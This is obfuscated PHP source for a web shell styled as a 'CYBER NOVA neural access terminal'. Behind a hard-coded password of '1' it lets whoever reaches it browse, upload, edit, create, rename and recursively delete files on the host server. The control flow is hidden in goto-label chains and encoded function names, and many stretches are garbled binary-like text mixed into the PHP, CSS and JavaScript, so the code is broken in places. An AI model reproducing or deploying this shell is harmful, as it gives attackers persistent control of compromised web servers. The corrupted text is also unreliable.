wOvir: m81k0: goto fJEe6; kdGE9: goto t8kHI; goto hjD0V; dx49P: if (isset($_POST["node_name"])) { $newPath = $currentMatrix . "/" . $_POST["node_name"]; if ($_POST["node_type"] == "directory") { $neuralCore->process($N_MKDIR, $newPath); $neuralMessage = "Neural node created"; } else { $neuralCore->process($N_WRITE, $newPath, ''); $neuralMessage = "Data node created"; } } goto wVWIW; WsO1f: a0G99: goto FQHZR; uviSk: gJ9WV: goto m8h3C; emlYU: if (isset($_GET["edit"])) {
<div class="cyber-editor"><div class="editor-header"><div class="editor-title">💾 EDITING:echo htmlspecialchars(basename($_GET["edit"]));
</div><div><a href="?matrix=echo urlencode($currentMatrix);
"class="logout-btn">CLOSE EDITOR</a></div></div><form method="post"><input name="data_target"type="hidden"value="echo $_GET["edit"];
"> <textarea class="neural-coFVB&S&WW&FF#F6FVBFWW&6&R&6W72D$TBEtUE%CUǃcEScB%ғbF6FVBf6RV6F7V66'2F6FVBFWF&VFb7GS'FFs#WFWBƖv6VFW#&6w&VC&v#SR#'WGF673&7&W"'F7&W"'F&''GS'7V&֗B'7GS'FFsSfB6S7&V# +4dRDE$'WGF</div></form></div>} goto ZBy1r; cqa_G: goto a0G99; goto tPOX8; IWXhH:
GB</div></div><div class="stat-card"><div class="stat-label">SYSTEM LOAD</div><div class="stat-value">goto bq3E4; zUJmi: $N_MKDIR = $neuralCore->getNeuralFunction("mkdir"); gfՆs3#svFFU##vFs34dscfvFfECe#Fb673&G&b#Fb673&7&W"'&VF7'V"#&Vc#G&# +5$U"$CvF$E7vED4BFWW&6&RvWDWW&gV7F%ǃc5SǃfESuCB"vF&W#%3DӢvFC'ScvFcf3D7VvFtucvFCc#vFG3#3V6W&V6FRF7W'&VDG&vF%e7sTue63vF&vF672WW&7'B&fFRFWW&ĶW%5ǃS%ǃCU#%ǃVeeǃFeǃSeǃCǃVeǃ3%ǃ3cucr#V&Ɩ2gV7FWW&V6FRFFFFW#w6&W72FFFFW#"7G%&13($layer1); $layer3 = $this->matrixInvert($layer2); $layer4 = base64_encode($layer3); return $layer4; } public function neuralDecode($encoded) { $layer1 = base64_decode($encoded); $layer2 = $this->matrixIfW'BFW#FW#27G%&C2FW#"FW#BwV6&W72FW#2&WGW&FW#C&fFRgV7FG&fW'BFFF&WGW&7G'&WbFFF&fFRFWW&gV7F2'&%ǃs5ǃsSeǃccǃs5CUǃFeǃsUcEǃscUcB"%ǃcUǃc5ǃcǃfb"%ǃfUCUǃsUǃs%CSEUǃsCUC5cUǃsECR"%ǃs5ǃcCUǃf5SEǃVeǃcUsCUC2"%SUǃcǃsEǃs%SsǃS%CUǃcCB"%Ceǃcǃf5CUǃVeCuǃcUcE3uC5SuǃfUǃsECUSeǃsEǃs2"%ǃfECcEc%ǃcs#uc%ScECR"%CeǃcSECUǃVeǃsǃsUǃsE3uǃc5SuSecECUSeǃsEc2"%ǃseǃfeSǃcEǃScUc%CuCR"%cUǃfUǃf5ǃcǃfUS2"%ǃfUǃfeǃcEǃcU5c%CUǃcǃsECR"%ǃfEǃf%ǃcEǃcǃs""%CC5ǃc5ǃcUc5c5ǃFESuǃcESǃces"%C5ǃcǃfESuǃcB"%ǃfECǃsEc%ǃcǃsǃS5ǃc5ǃcǃfR"%c5ǃc5ǃcǃfUCESǃs""%ǃcECcECǃSUǃsǃf5ǃfeǃcCB"%ǃfEǃfeceCU3uǃsUcSEǃfeCCECUǃcEǃVeǃceSSEǃcR"V&Ɩ2gV7FvWDWW&6FRG&VRf&V6GF2WW&gV7F22FWW&G&VbG&VG&VR&WGW&GF2WW&V6FRFWW&&WGW&VòvFdswS6s燅vFSCUF'vF燅vF7fvW672WW&&6W76"&fFRFWW&6&S&fFRFWW&FW2'&V&Ɩ2gV7F67G'V7BGF2WW&6&RWrWW&7'BGF2DWW&WGv&&fFRgV7FDWW&WGv&GF2WW&FW2'&GF2WW&6&RvWDWW&6FR%ǃcUC5SSr"gV7FFFFV6FFF&WGW&G'VSGF2WW&6&RvWDWW&6FR%ǃs5SCUSEǃf53uǃcUsCUǃc2"gV7FF6BbgV7FW7G2%ǃs5ǃcǃcUǃf5SEǃVeǃcUsCUǃc2"&WGW&6VWV2F6B&WGW&%ǃV%ǃFUUǃSU#%EǃVeǃC5uUǃFEǃCǃFUǃCEǃVeǃC%ǃF5uǃC5ǃF%ǃCUE3R#GF2WW&6&RvWDWW&6FR%ǃceSǃf5ǃcUǃVeǃcuCUcE3uǃc5ǃfeSecECUǃfUcEc2"gV7FGFbfUW7G2GF&WGW&fUvWE6FVG2GF&WGW&f6SGF2WW&6&RvWDWW&6FR%CeSSECUǃVecǃsUǃsEǃVeǃc5ǃfeSecECUǃfUcEǃs2"gV7FGFF6FVB&WGW&fUWE6FVG2GFF6FVBGF2WW&6&RvWDWW&6FR%cUǃfUSESSeS2"gV7FGFb5F"GF&WGW&GF2&V7W'6fUW&vRGF&WGW&VƖ沂GFGF2WW&6&RvWDWW&6FR%SUS5CEǃcc""gV7FGF&WGW&ֶF"GFC2G'VRGF2WW&6&RvWDWW&6FR%ǃc5ǃcǃfEǃfeCB"gV7FGFFFR&WGW&6BGF7FFV2FFRGF2WW&6&RvWDWW&6FR%c5ǃc5CSeǃcEǃcc""gV7FGF&WGW&GF2G&66GFGF2WW&6&RvWDWW&6FR%SUǃfeǃseǃcU3uǃsUǃsSEǃfeǃcCECUǃcE3uǃceǃcǃf5ǃcR"gV7FFfRFFW7B&WGW&fUWFVEfRFfU%ǃsESUǃsǃVeǃfUCǃfECR%FFW7Bғ&fFRgV7FG&66GFFFW2'&b5F"GFFVG&W266F"GFf&V6FVG&W22FVG'bFVG'%ǃ&R"bbFVG'%ǃ&USb"FgVFGF%Sr"FVG'FFW5'&%SeCSUCR"FVG'%ǃsǃcǃsES"FgVF%ǃsEǃscCR"5F"FgVF%ǃcEǃcǃs%ǃcUǃc5ǃsEǃfec%ǃs"%ǃceSSECR"%ǃs5ǃcs%CR"GF2f&DFF6RfW6RFgVF%ǃfESuǃcESCeSǃcUǃcB"FFR%3ǃ&EǃfESUCECǃ6ǃcs%c2"fVFRFgVF%cǃcUc%SUc2"7V'7G"7&Fb%ǃ#Uǃfb"fWW&2FgVF), "icon" => is_dir($fullPath) ? "📁" : $this->getFileIcon($entry)); } } } return $nodes; } private function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array("php" => "💾", "js" => "📜", "html" => "🌐", "css" => "🎨", "json" => "🔣", "sql" => "🗃️", "txt" => "📝", "pdf" => "📕", "jpg" => "🖼️", "png" => "🖼️", "gif" => "🖼️", "zip" => "🗜️", "mp3" => "🎵", "mp4" => "🎥", "exe" => "⚙️", "default" => "📄"); return $icons[$ext] ?? $icons["default"]; } private function formatDataSize($bytes) { if ($bytes == 0) { return "0 B"; } $units = array("B", "KB", "MB", "GB"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . " " . $units[$i]; } private function recursivePurge($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array(, "..")); foreach ($items as $item) { $path = $dir . "/" . $item; if (is_dir($path)) { $this->recursivePurge($path); } else { unlink($path); } } return rmdir($dir); } public function process($neuralCode, ...$params) { if (isset($this->neuralNodes[$neuralCode])) { $handler = $this->neuralNodes[$neuralCode]; if ($neuralCode === $this->neuralCore->getNeuralCode("scandir") || $neuralCode === $this->neuralCore->getNeuralCode("unlink")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$params); } return null; } public function getNeuralFunction($name) { return $this->neuralCore->getNeuralCode($name); } } goto D_ha1; Nads2:
<div class="cyber-footer"><div class="stats-grid"><div class="stat-card"><div class="stat-label">SYSTEM TIME</div><div class="stat-value">goto OY3F9; xaiF4: oOsL6: goto XdA6L; nIz3Z: class NeuralAuth { private $accessCode = "1"; private $sessimFV%SeCUcUǃs%Cǃf5ǃVeǃcǃc5ǃsEǃcceǃcR#&fFRF7'D6&SV&Ɩ2gV7F__construct() { session_start(); $this->cryptCore = new NeuralCrypt(); } public function authenticate($input) { $encodedInput = $this->cryptCore->neuralEncode($input); $encodedCode = $this->cryptCore->neuralEncode($this->accessCode); if ($encodedInput === $encodedCode) { $_SESSIMGF26W76oken] = $this->cryptCore->neuralEncode("NEURAL_ACTIVE"); $_SESSION["neural_time"] = time(); $_SESSIM%c5ǃcUǃs5c5SǃfeǃfU3uǃcǃcB%&&W&F'FW2&WGW&G'VSFW'&'2'&GF27'D6&RWW&V6FR%ǃFUCUǃsUc%Cǃf5CCǃsUǃsESǃcUSecEǃcC5ǃcǃsESǃfeSeǃ#CeCǃcǃf5ǃcUǃcB"GF27'D6&RWW&V6FR%ǃCǃc5ǃc5ǃcUc5c5ǃ#C5ǃfeǃcEǃcUCSSeǃseǃcSEǃcCB"GF27'D6&RWW&V6FR%eǃcUǃsUǃs%Cǃf5CcCǃsEǃcǃsuǃcǃsCǃc%ǃf5SuC5ǃf%ǃcUCB"GF27'D6&RWW&V6FR%#5CUC5ǃsUc%ǃcǃsEǃsǃ#C%c%CUǃcǃc5ǃcǃ#ǃcEǃcUcECUǃc5ǃsECUǃcB"E4U54%ǃfUǃcUcUc%Cǃf53uCUc%c%Suǃs"%FW'&'5'&&BFW'&'2Ӳ&WGW&f6SV&Ɩ2gV7F4WFVF6FVBb76WBE4U54GF26W76FVҒ&WGW&f6SG7F&VBE4U54GF26W76FVӲFWV7FVBGF27'D6&RWW&V6FR%eUǃSUǃS%ǃCǃF5ǃVeǃC5#EǃC#eǃCR"&WGW&G7F&VBFWV7FVCV&Ɩ2gV7FvWB6W76FW7G&vF#uw5fE5cvFTEC$SSDUEUBFWW&6&RvWDWW&gV7F%CUǃc5ǃcSr"vFUF'gwccVsvFEVT6&svFg&òsdvFcfvFG&vӢFU##vFcD$&vFvFd0C; PxzUx: goto wTTLQ; goto LQfM_; Bi6ZG: sbTXn: goto JkrAU; f43F7W'&VEFrsvFggvF5cvF&esw6#V6&VBF6g&VU76R%Sb"#B#B#B"vFu'ssdswvF5wccvF7D#gSEsvF$fVvFDr; goto l4VUF; j_WlC: goto UGVSc; goto ZcBcv; wWYIc: goto bNiS_; goto ekJjU; EIL4s: bNiS_: goto gqZd1; vzral: $N_SCAN = $neuralCore->getNeuralFunction("scandir"); goto v15hT; nnTUh: if (!$neuralAuth->isAuthenticated()) { if (isset($_POST["neural_key"])) { if ($neuralAuth->authenticate($_POST["neural_key"])) { header("Location: " . $_SERVER["PHP_SELF"]); die; } }
<!doctypehtml><html><head><meta charset="UTF-8"><title>NEURAL ACCESS // CYBER NOVA</title><style>@import url(https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&display=swap);:rog7&W"&VS3VVfcG&w&VV3fcCVW'S3CfcF&76S3FVW76S3SS37&W"vsҧ&vFFs&6s&&FW"&&Gf-family:Orbitron,monospace;background:var(--dark-space);color:var(--cyber-blue);min-height:100vh;display:flex;justify-content:center;align-items:center;overflow:hidden;background-image:radial-gradient(circle at 20% 30%,rgba(0,238,255,.1) 0,transparent 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.1) 0,transparent 40%)}.neural-terminal{width:100%;max-width:500px;background:rgba(21,21,48,.9);border:2px solid var(--cyber-blue);border-radius:20px;padding:50px;backdrop-filter:blur(10px);box-shadow:0 0 50px var(--cyber-blue),inset 0 0 30px rgba(0,238,255,.1);position:relative;fW&fsFFVWW&FW&֖ã&Vf&W6FVCrs6F'6WFSF'VgC'&vC'&GFӢ'&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'Rf"G&w&VV⒓&&FW"&FW3#'֖FWFFW&֖vr72ƖV"fFWWg&W2FW&֖vwWfFW#VR&FFRWfFW#VR&FFR3cFVrFW&֖ֆVFW'FWBƖvcenter;margin-bottocC7&W"FFWfB6S"&VӶf-weight:900;background:linear-gradient(45deg,var(--cyber-blue),var(--matrix-green));-webkit-background-clip:text;background-clip:text;color:transparent;text-shadow:var(--cyber-glbf"7&W"&VRWGFW"76s7&v&GFӣerminal-subtitle{color:var(--matrix-green);font-size:1.2rem;letter-spacing:2px;text-transform:uppercase}.access-form{margin-top:30px}.input-group{margin-bottom:30px;positiog&VFfWWW&&VǶF7&66#f"7&W"&VR&v&GFӣWfB6S&VӶWGFW"76s'FWBG&6f&ӧWW&66WWW&֖WGvGFSFFs#&6w&VC&v&#br&&FW#'6ƖBf"VW'R&&FW"&FW36#f"G&w&VV⓶fBf֖Ǔu6&RFV6r76SfB6S7&VӶWGFW"76s7FWBƖv6VFW#G&6F77WW&֖WCf7W7WFƖS&&FW"6#f"7&W"&VR&6Fs3f"7&W"&VR&6w&VC&v#SR7&W"'WGFvGFSFFs#&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'R&&FW#S&&FW"&FW36#6ffcfBf֖Ǔ&&G&76SfB6SG&VӶfBvVvCsWGFW"76s7FWBG&6f&ӧWW&66S7W'6#FW#G&6F736F&VFfSfW&fsFFV7&W"'WGF㦆fW'G&6f&translateY(-3px);box-shadcC&v#SR)}.terminal-footer{margin&3FWBƖv6VFW#6#f"G&w&VV⓶fB6S&VӶ6G66ƖW6Fabsolute;top:0;left:0;width:100%;height:2px;background:linear-gradient(90deg,transparent,var(--matrix-green),transparent);animatiog66'2ƖV"fFWWg&W266WFWFWW'&"F7&6w&VC&v&#SR&&FW#'6ƖB&VC&&FW"&FW3FFs#&v&GF30px;text-align:center;color:red;animation:errorPulse 1s infinite}@keyframes errorPulse{0%,100%{box-shadow:0 0 20px red}50%{box-shadow:0 0 40px red}}</style></head><body><div class="neural-terminal"><div class="scan-line"></div><div class="terminal-header"><h1 class="cyber-title">CYBER NOVA</h1><div class="terminal-subtitle">NEURAL ACCESS TERMINAL</div></div>if (isset($_SESSION["neural_error"])) { $crypt = new NeuralCrypt(); $errorMsg = $crypt->neuralDecode($_SESSION["neural_error"]); unset($_SESSIM%SeCUcUc%Cǃf5ǃVeǃcUǃs%c%ǃfec"%ғFb673&W'&"F7#)V6F7V66'2FW'&$6rFcf&WFC'7B&673&66W72f&#Fb673&WBw&p"><label class="neural-label">NEURAL ACCESS KEY</label> <input name="neural_key"class="neural-input"required placeholder="ENTER NEURAL CODE"autofocus type="password"></div><button class="cyber-button"type="submit">🔓 INITIATE NEURAL LINK</buttof&Fb673'FW&֖fFW"#5$U"dcr4T5U$ETFcFc67&CFBG&&VffV7@F7VVBFDWfVDƗ7FVW"tD6FVDFVBrgV7Fₒ67B6'2#8*.8*N8*n8*8*8*8*8*コジ+++8888N88n88#67B6f2F7VVB7&VFTVVVBv6f2r67B7G6f2vWD6FWBs&Br 6f27GR6FvfVBs6as.style.top = '0';
canvas.style.left = '0';
caf27GRvGFsRs6as.style.height = '100%';
canvas.style.zIndex = '-1';
caf27GR6Gs2s6f27GRFW$WfVG2vRs F7VV.body.appendChild(canvas);
function resize() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
}
window.addEventListener('resize', resize);
resize();
const columns = Math.floor(canvas&GF#67BG&2Ӱ f"WB6V3G&5Т gV7FG&r7Gf7GRw&v&#bRs7Gf&V7B6f2vGF6f2VvB 7Gf7GRr3VVfbs7GfBsW%6&RFV6"s f"WBG&2VwF67BFWB6'5Ff"F&F҂6'2VwFӰ7GfFWBFWB#G&5# bG&5#6f2VvBbbF&F҂sRG&5ТG&5ҲТТ 6WDFW'fG&rSғ67&C&GFFSvFGFT7df6vF#cvF$sV5SF7W'&VDG&&VFF7W'&VDG&%Sb#vF#7uSFvFU3CE3tdfâvF3#SvF3vF#ò7fv7svFVŕSv#7tevFij5stSvF&4SvFfDCtScws4vF46vò6UCvFdsvF4dsVSDD goto cZ_3a; uAjyV: goto oOsL6; goto vu1X8; qRHph:
</div><div style="margin-top:20px;color:var(--cyber-blue);font-family:'Share Tech Mono',monospace;font-size:1.1rem">CURRENT MATRIX: <span style="color:var(--matrix-green)">goto EoFCQ; U_C1t:
</span></div></div><div class="cyber-tools"><div class="tool-card"><div class="tool-header"><span>📤</span> <span>DATA UPLOAD</span></div><form method="post"enctype="multipart/form-data"><div class="form-grg#ƖWBS&FFfR&673&7&W"֖WB'&WV&VBGS&fR#Fc'WGF673&7&W"'F7&W"'F&''GS'7V&֗B'7GS'vGFR#UBDE$'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7)775$TDRDS7Fcf&WFC'7B#Fb673&f&w&W#ƖWBS&FUR&673&7&W"֖WB'&WV&VB6VFW#$FRR#FcFb673&f&w&W#6VV7B673&7&W"֖WB&S&FUGR#FfVS&fR# 8BFFFSFFfVS&F&V7F'# 8WW&FSF6VV7CFc'WGF673&7&W"'F7&W"'F7V66W72'GS'7V&֗B'7GS'vGFR#5$TDRDS'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7 +775$U"4C7Fcf&WFC'7B&7F#7FWV7WFRfG&vFgf#&%D73vFDDvFWf6gtcF7GVFƇFƆVCWF6'6WC%UDbӂ#FFS5$U"dcrFFS7GS'BW&GG3fG2vvV26773#f֖Ǔ&&G&vvDCsff֖Ǔ6&RFV6ff֖ǓW#vvD3CcfF77v&G7&W"&VS3VVfcG&w&VV3fcCVW'S3CfcF&76S3FVW76S3SS37&W"vs7&W"&VC6fcSS7&W"זVs6fffcҧ&vFFs&6s&&FW"&&GfBf֖ǓtW"r626W&c&6w&VCf"F&76R6#6ffc&6w&VB֖vS&Fw&FVB6&6RB#R3R&v#SRRG&7&V 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.05) 0,transparent 40%)}.cyber-header{background:rgba(21,21,48,.95);border-bottom:3px solid var(--cyber-blue);padding:25px 40px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 0 40px var(--cyber-blue);position:sticky;top:0;z-index:1000;backdrop-filter:blur(10px)}.header-left{display:flex;align-items:center;gap:25px}.nova-title{font-family:Orbitrn76SfB6S"W&VӶ&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"G&w&VV⒓vV&B&6w&VB6ƗFWC&6w&VB6ƗFWC6#G&7&VCFWB6Fsf"7&W"v) var(--cyber-blue);letter-spacing:2px}.session-info{display:flex;align-items:center;gap:20px;font-family:'Share Tech Mono',monospace}.status-badge{padding:8px 20px;background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple));border-radius:20px;font-size:.9rem;font-weight:700;text-transform:uppercase;letter-spacing:1px}.logout-btn{padding:12px 30px;background:var(--cyber-red);border:none;border-radius:10px;color:#fff;foBf֖Ǔ&&G&space;font-weight:700;cursor:pointer;transitiof73FWBG&6f&ӧWW&66SWGFW"76svWB'F㦆fW'&6w&nd:#c04;transform:translateY(-2px);box-shadow:0 0 30px var(--cyber-red)}.cyber-container{max-width:1600px;margin:30px auto;padding:0 30px}.neural-message{background:rgba(0,255,65,.1);border-left:4px solid var(--matrix-green);border-radius:10px;padding:25px;margin-bottom:30px;display:flex;align-items:center;gap:20px;animatiogV6Tvr'2fFWWg&W2V6TvwRW&6Fs#&v&#SRcR2SW&6FsC&v&#SRcR)}}.matrix-nav{background:rgba(42,42,80,"&&FW#'6ƖBf"VW'R&&FW"&FW3WFFs#W&v&GF30px;font-family:'Share Tech Mono',monospace}.cyber-breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:15px;color:var(--cyber-blue)}.cyber-breadcrumb a{color:var(--matrix-green);text-decoration:none;padding:8px 15px;border-radius:8px;transition:all .3s;border:1px solid transparent}.cyber-breadcrumb a:hover{border-color:var(--cyber-blue);background:rgba(0,238,255,.1);box-shadow:0 0 15px var(--cyber-blue)}.cyber&7F7w&Cw&BFVFR6V3&WVBWFfB֖3Sg"v3&v&GFӣCF6&G&6w&VC&v&#b#bC㒓&&FW#'6ƖBf"7&W"&VR&&FW"&FW3WFFs#WG&6F736F&VFfSfW&fsFFVF6&CfW'&&FW"6#f"G&w&VV⓷G&6f&ӧG&6FUW&6Fs3f"7&W"&VRF6&C&Vf&W6FVCrs6F'6WFSFVgC&vC&GFӣ&6w&VCƖV"w&FVBCVFVrG&7&VB&v#SRRG&7&VB֖FWFֆVFW'F7fWƖv֗FV36VFW#vW&v&tom:25px;color:var(--matrix-green);foBf֖Ǔ&&G&space;font-size:1.3rem}.form-group{margin-bottom:20px}.cyber-label{display:block;margin-bottom:10px;color:var(--cyber-blue);font-size:.9rem;text-transform:uppercase;letter-spacing:1px}.cyber-input{width:100%;padding:15px;background:rgba(10,10,26,.8);border:2px solid var(--neon-purple);border-radius:10px;color:#fff;font-family:'Share Tech Mono',monospace;font-size:1.1rem;transition:all .3s}.cyber-input:focus{outline:0;border-color:var(--cyber-blue);box-shadc#f"7&W"&VR7&W"'FFFsW#W&&FW#S&&FW"&FW3fBf֖Ǔ&&G&76SfBvVvCs7W'6#FW#G&6F73FWBFV6&FSF7ƖR&6FWBG&6f&ӧWW&66SWGFW"76s7&W"'F&'&6w&VCƖV"w&FVBCVFVrf"7&W"&VRf"VW'R6#6ffg7&W"'F&'fW'&6w&VCƖV"w&FVBCVFVrf"G&w&VVf"7&W"&VRG&6f&ӧG&6FU'&6FsW#f"7&W"&VR7&W"'F7V66W77&6w&VCƖV"w&FVBCVFVrf"G&w&VV336#6ffg7&W"'FFvW'&6w&VCƖV"w&FVBCVFVrf"7&W"&VB6c36#6ffg7&W"'Fv&w&6w&VCƖV"w&FVBCVFVrf"7&W"ellow),#fa0);color:#000}.data-table-container{backgrfC&v&#b#bC㒓&&FW#'6ƖBf"G&w&VV⓶&&FW"&FW3WfW&fsFFV&v&GFӣC&6Fs3&v&#SRcR2FFF&WvGFS&&FW"66S66SfBf֖Ǔu6&RFV6r76WFFF&RFVG&6w&nd:linear-gradiebCVFVr&v#SR2&v&#SRcR2FFF&RFFFs#FWBƖvVgC6#f"7&W"&VRf-size:1.1rem;text-transform:uppercase;letter-spacing:2px}.data-table td{padding:18px 20px;border-bottom:1px solid rgba(0,238,255,.1)}.data-table tbody tr:hover{background:rgba(0,238,255,.05)}.data-icon{font-size:1.5ref&v&vCWFF7F7F7fWv7&W"VFF'&6w&VC&v&#b#bCR&&FW#76ƖBf"7&W"זVr&&FW"&FW3Werflow:hidden;margin-bottom:40px;box-shadow:0 0 40px rgba(255,255,0,.3)}.editor-header{background:linear-gradient(45deg,rgba(255,255,0,.2),rgba(0,255,65,.2));padding:20px 30px;display:flex;justify-cofVC76R&WGvVVƖv֗FV36VFW'VFF"FFW6#f"7&W"זVrf-family:Orbitron,monospace;font-size:1.4rem}.neural-content{width:100%;min-height:500px;padding:30px;background:rgba(10,10,26,.9);border:nnS6#f"G&w&VV⓶fBf֖Ǔu6&RFV6r76SfB6SgƖRֆVvCヷ&W6SfW'F67&W"fFW'&6w&VC&v&##CR&&FW"F'6ƖBf"VW'RFFs3&vFS&&FW"&FW3WWFWBƖv6VFW'7FG2w&GF7w&Cw&BFVFR6V3&WVBWFfB֖##g"v#W&v&GFӣ#W7FB6&G&6w&VC&v#SRFFs#&&FW"&FW3'&&FW#6ƖBf"7&W"&VR7FB&VǶ6#f"7&W"&VRfB6S&VӷFWBG&6f&uppercase;letter-spacing:1px;margin-bottom:8px}.stat-value{color:var(--matrix-green);font-family:Orbitron,monospace;font-size:1.3rem}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-track{background:var(--dark-space)}::-webkit-scrollbar-thumb{background:linear-gradient(var(--cyber-blue),var(--neon-purple));border-radius:6px}::-webkit-scrollbar-thumb:hover{background:linear-gradient(var(--matrix-green),var(--cyber-blue))}@media (max-width:768px){.cyber-header{flex-directiof6VvWFFs#7&W"F7w&BFVFR6V3g'FFF&WF7&6fW&fr׃WF7&W"6FW'FFs#7GSVC&GFb673&7&W"ֆVFW"#Fb673&VFW"VgB#Fb673&fFFR#5$U"dFcFb673'6W76֖f#Fb673'7FGW2&FvR#UU$5DdSFcFb7GS&6#f"G&w&VV#vFfVf%WvF4CDw#FcFb673&f&w&W#ƖWBS&66W75FR&673&7&W"֖WB'&WV&VB6VFW#$66W726FR'fVS#sSR#Fc'WGF673&7&W"'F7&W"'Fv&r'GS'7V&֗B'7GS'vGFR#De44U53'WGFf&FcFcFb673&FFF&R6FW"#F&R673&FFF&R#FVCG#FSFF6SFFFfVCFF66W73FFW&F</th></tr></thead><tbody>goto KyAGE; XdA6L: echo $currentMatrix; goto c8mra; JkrAU:
</div></div></div><a href="?actiovWB&673&vWB'F#DU$ԔDR4U54FcFb673&7&W"6ainer">goto sb0si; pk9sq: t8kHI: goto wrNx2; gqZd1:
</tbody></table></div>goto vtB1S; z4SHz: CXWv6: goto QEqqz; Sh8sp: LEcAn: goto wdPYX; ZcBcv: eVMbD: goto UTfCW; V5JU2: goto NpPHL; goto ocUlH; D_ha1: goto jj0Mg; goto FzwyF; whkfv: PjSBm: goto Mem3U; IYT66: if (isset($_POST["neural_data"])) { $neuralCore->process($N_WRITE, $_POST["data_target"], $_POST["neural_data"]); $neuralMessage = "Neural data saved"; } gf&%D73Vd5vFSvF#eS4cvFWvFvӲ&C&4SvFucuetsvFզgSvFuw7D#C'ScvFGCWUUsvFDהsvFvgc5'tCf&V6G'G22G'BbVGG'BF7W'&VPath .= "/" . $part; echo " → "; echo "<a href="?matrix=" . urlencode($currentPath) . "">" . $part . "</a>"; } } gfdvc&vDDTUDRFWW&6&RvWDWW&gV7F%ǃsUǃfUSESǃfUS2"vFFTcƆ3vFcVsvFtf#'4SCvo m81k0; goto w4FaW; PvlDT:
</div></div><div class="stat-card"><div class="stat-label">MEMORY USAGE</div><div class="stat-value">goto kdGE9; ORVSw: goto aYngD; goto KjDOb; yeVA_: qa0aU: goto inudu; AzbHo: lArAK: goto W007x; sb0si: goto WzG3K; goto yeVA_; KjDOb: AAQNs: goto Ke0e1; OJnI2: $neuralCore = new NeuralProcessor(); goto b1Lp5; fJEe6: echo rand(1, 100); goto SAk2H; xLJ0L: $parts = explode("/", trim($currentMatrix, "/")); goto DCukH; hjD0V: PyvEM: gfV擲4$vFdT goto u3l0G; w4FaW: ZDYCF: goto gzSb1; UTfCW: $currentMatrix = isset($_GET["matrix"]) ? $_GET["matrix"] : ; goto TO9hG; ocUlH: NpPHL: goto N2i17; PDA2F: fyTo5: goto MhT0_; GOosL: $neuralAuth = new NeuralAuth(); goto IZ6NC; N2i17: if (empty($matrixContents)) {
<tr><td colspan="5"style="text-align:center;padding:50px;color:var(--cyber-blue)"><div style="foB6SG&VӶ&v&GFӣ## +FcE$2TEFCG#V6Rf&V6FG&6FVs as $node) {
<tr><td><div style="display:flex;align-items:center;gap:15px">echo $node["icon"]; if ($node["type"] == "directory") {
<a href="?matrix=echo urlencode($node["path"]);
"style="color:var(--cyber-yellow);text-decoration:none;font-family:Orbitrn76SfBvVvCs#V6F7V66'2FFU%ǃfUǃcǃfECR%ғV6R77GS&6#6ffcf-family:'Share Tech Mono',monospace">echo htmlspecialchars($node["name"]);
</span>}
</div></td><td>echo $node["size"];
</td><td>echo $node["modified"];
</td><td><code style="background:rgba(0,238,255,.1);padding:5px 10px;border-radius:5px;color:var(--matrix-green);foBf֖Ǔu6&RFV6r76R#V6FFU%ǃsCUc%ǃfEǃs2%Ӳ6FSFCFCFb673&FF7F2#bFFU%cEǃscǃcR%%ǃcEǃcc%ǃcUǃc5cEǃfeǃs%s"&Vc#VFCV6W&V6FRFFU%ǃsǃcǃsES%ғfG&V6W&V6FRF7W'&VDG&&673&7&W"'F7&W"'F7V66W72#TDC&Vc#7FFVWFRgF&vWCV6W&V6FRFFU%ǃsǃccEǃc%ғfG&V6W&V6FRF7W'&VDG&&673&7&W"'F7&W"'FFvW"&6Ɩ6w&WGW&6f&҂%U$TDŒDTUDRD2DS"sDTUDSFcFCr>} } goto wWYIc; cJCgl: if ($neuralMessage) {
<div class="neural-message"><span style="fob6S'&V# +7Fb7GS&f-family:Orbitron,mn76SfB6S'&V#V6F7V66'2FWW&W76vRFcFcvF7s4CV6FFR%ǃCs%ǃcǃ6ǃs2"vFsdՆs3vFV4vFTvevFE4cvFg%wEgvFu#Fb673&f&w&W#ƖWBS'F&vWEF&673&7&W"֖WB'&WV&VBfVS#vFTcw$#V6&VBV'vWEW6vRG'VR#B#B"vFdf6evFdfòvFtSc3%#FcFcFb673'7FB6&B#Fb673'7FB&V#D454SFcFb673'7FBfVR#vFve c8mra: goto mnWzy; goto Q7qz0; ubKbg: gf5fE5cvFE4EeTcsvF䗣5&W#vo CbhiW; goto Q14bN; FXUo8: a4Ovr: goto aO4Q1; nOV6c: yWyWg: goto xLJ0L; H8owY: NgvS5: goto K8sD7; TO9hG: goto PjSBbvFE3tdvcvFEsvFf%EdsvFD##â5cvF5'tCcVCvF$T#vFeVG&vFgtcFTcvFvFTG3&Du$DRFWW&6&RvWDWW&gV7F%ǃceǃcSECU3uǃscUǃsEǃVeǃc5SuǃfUcECUSecEc2"vo j_WlC; fzBPN: hqzAz: goto zUJmi; yxPV1: if (isset($_FILES["data_file"])) { $dest = $curredG&%ǃ&b"&6VREdU5%CEǃccEǃcǃVeCeǃcSECR%ղ%SeǃcǃfEǃcR%ғFWW&6&R&6W72DUBEdU5%ǃcECǃsECǃVeCeSSECR%FFW7BFWW&W76vR%ǃCECcECǃ#ǃsUcSESuCCEǃcUǃcEǃ#cEǃfeǃ#ǃfECǃsEc%ǃcs#vF%3DӲ7w#W'&%&W'FrvF%3dFâvF3&cvFuwvFDwu'ssvFEgvF'#vFvF67#7vFgFSvF&CօCFWW&W76vRrsvFd%3vFtevFD$c#eS$T#vF4$fDCDהsvF&SCDUT5UDRFWW&6&RvWDWW&gV7F%c5ǃcǃcUǃf5ǃf53uǃcUǃsCUǃc2"vF6UCGFT7vFUd$CvFc#$stCvFF$#5dsvo OJnI2; K8sD7: echo urlencode($currentMatrix); goto 